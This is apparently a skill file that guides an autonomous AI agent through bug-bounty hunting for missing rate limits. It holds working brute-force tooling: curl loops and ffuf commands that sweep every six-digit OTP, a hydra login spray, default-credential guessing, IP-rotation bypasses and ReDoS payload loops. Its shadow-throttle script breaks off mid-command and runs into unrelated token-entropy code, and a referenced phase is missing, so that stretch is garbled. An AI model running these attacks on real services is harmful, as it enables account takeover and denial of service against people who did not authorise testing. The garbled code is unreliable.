--- name: hunt-brute-force description: "Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical)." sources: public_research report_count: 0 --- # HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration > Grounding note: this skill is built from published technique classes, not from a > curated set of named HackerOne reports. `report_count` is intentionally `0` — do > not cite an exact payout or report ID you cannot verify. Where a public case is > well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation > research, 2019–2021), it is named below as a *technique reference*, not a payout claim. ## Crown Jewel Targets OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass. **Highest-value chains:** - **OTP / 2FA brute → MFA bypass → ATO** — no effective rate limit on `/verify-otp`, full 000000–999999 keyspace reachable - **Password-reset token brute** — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable) - **Username/email enumeration → targeted credential stuffing** — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora - **Coupon / gift-card / referral code brute** — no rate limit on code validation → financial impact - **ReDoS** — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS --- ## Autonomous Testing Priority **Work within your turn budget — prioritize signal over volume.** You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all. **Strategy:** 1. Identify the login endpoint and the expected parameter names (username/email, password). 2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation). 3. After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability. 4. Use form-encoding for traditional login forms, JSON for REST API login endpoints. **What to look for as success:** - Session token or JWT in the response body or Set-Cookie header - Redirect to authenticated dashboard - Response body that differs from the failed-login baseline **Username enumeration (separate finding):** Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login. --- ## CRITICAL: Four rate-limit states — do not collapse them A `200`/`401` with no `429` does **not** mean "no rate limiting". A rate-limiting skill that only checks for `429`/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the *full* response (status, body, headers, latency, and downstream success): | State | Signal | Brute still feasible? | |-------|--------|-----------------------| | **Hard account lockout** | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) | | **Soft IP throttle** | `429` / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) | | **CAPTCHA injection** | `200` but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it | | **Silent shadow-throttle** | `200`/`401` returned for every request, but submissions are *dropped* — the genuinely-correct OTP/password stops being accepted, or responses become canned | **This is the trap.** A naive loop sees "all 200, no 429" and reports "no rate limit" — false. | **Shadow-throttle detector** — inject a known-good value at a known position and confirm it still works under load: ```bash # Seed: position 500 in the brute set is the REAL OTP for your own test account. # If the loop reaches 500 and the correct code no longer authenticates, # the endpoint is silently throttling/dropping — NOT unprotected. KNOWN_GOOD="123456" # the actual current OTP for YOUR test account for n in $(seq 0 600); do CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n") CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \ -X POST "https://$TARGET/api/verify-otp" \ -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \ -d "{\"otp\":\"$CODE\"}") echo "$n $CODE $CODE_RESP $(wc -c /dev/null || \ python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\ print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))" # 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID): while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt # 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens: sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based # 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset # response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy. # < ~64 effective bits on a security token is a finding; the brute-window math follows. ``` ### Phase 6 — ReDoS Detection ```bash # Hit input-validation / search endpoints with catastrophic-backtracking payloads. # Classic evil-regex triggers (nested quantifier / overlapping alternation): for LEN in 5 10 15 20 25 30; do INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT") echo "len=$LEN -> ${T}s" done # Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N # DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug. # Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the # blow-up is regex-driven, not size-driven. ``` --- ## Automation ```bash # ---- ffuf: OTP brute ---- # PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq. ffuf -u "https://$TARGET/api/verify-otp" -X POST \ -H "Content-Type: application/json" -H "Cookie: session=SESSION" \ -d '{"otp": "FUZZ"}' \ -w <(seq -f "%06g" 0 100) \ -mc all -ac \ -rate 50 # cap throughput so YOU can read the rate-limit response, not DoS the target # FULL keyspace (authorized + your own account only) — generate all 10^6 codes: # seq -f "%06g" 0 999999 > /tmp/otp_full.txt (then -w /tmp/otp_full.txt) # Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of # filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only. # Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing. # ---- hydra: login spray ---- hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \ http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4 # ---- nuclei: rate-limit / default-cred templates ---- nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical ``` --- ## Chain Table | Finding | Chain to | Impact | |---------|----------|--------| | No effective rate limit on OTP (full 10^6 reachable) | MFA bypass → ATO | Critical | | Password-reset code brute + IP rotation | Reset → ATO (Instagram-2019 class) | Critical | | No rate limit on login + enumeration | Credential stuffing with breach corpus | High | | IP bypass via X-Forwarded-For et al. | Every per-IP limit on the app defeated | High | | Predictable / low-entropy reset token | Token guess within validity window → ATO | High | | ReDoS on a public input field | Single-request CPU exhaustion → DoS | Medium–High | | Hard lockout triggerable by attacker | Targeted account DoS (lock victim out) | Medium | --- ## Validation — false-positive discipline Before writing the report, each must hold: - **OTP/login "no rate limit"**: confirmed against ALL FOUR states — not just absence of `429`. Shadow-throttle seed test passed (the known-good value still authenticates under burst load). Latency and body-size were monitored, not only status code. - **Full-keyspace claim**: severity is justified by the *reachability math* (throughput × code-lifetime vs 10^6), not by a 101-code probe. State the numbers in the report. - **Enumeration**: difference is reproducible across ≥20 samples and is a *server-state* difference (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…" message is NOT enumeration). For timing, compare medians of many samples, never single requests. - **IP-rotation bypass**: proven by toggling rotation off and showing the `429` returns. The delta IS the proof; one fast run alone is not. - **Token entropy**: backed by an actual measurement (Burp Sequencer effective-bits, `ent`, or a demonstrated counter/timestamp structure), not "looks short". - **ReDoS**: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS. - **Scope/impact**: did you reach a real outcome (authenticated session, leaked account list, DoS)? A rate-limit gap with no reachable impact is informational, not Medium. **Severity:** - Effective brute of OTP/MFA/reset-code → demonstrated ATO path: **Critical** - No login rate limit + working credential-stuffing/IP-bypass: **High** - Predictable security token (measured low entropy): **High** - Username/email enumeration alone: **Low–Medium** - ReDoS with reproducible meaningful server lag: **Medium–High** - Attacker-triggerable hard lockout (account DoS): **Medium**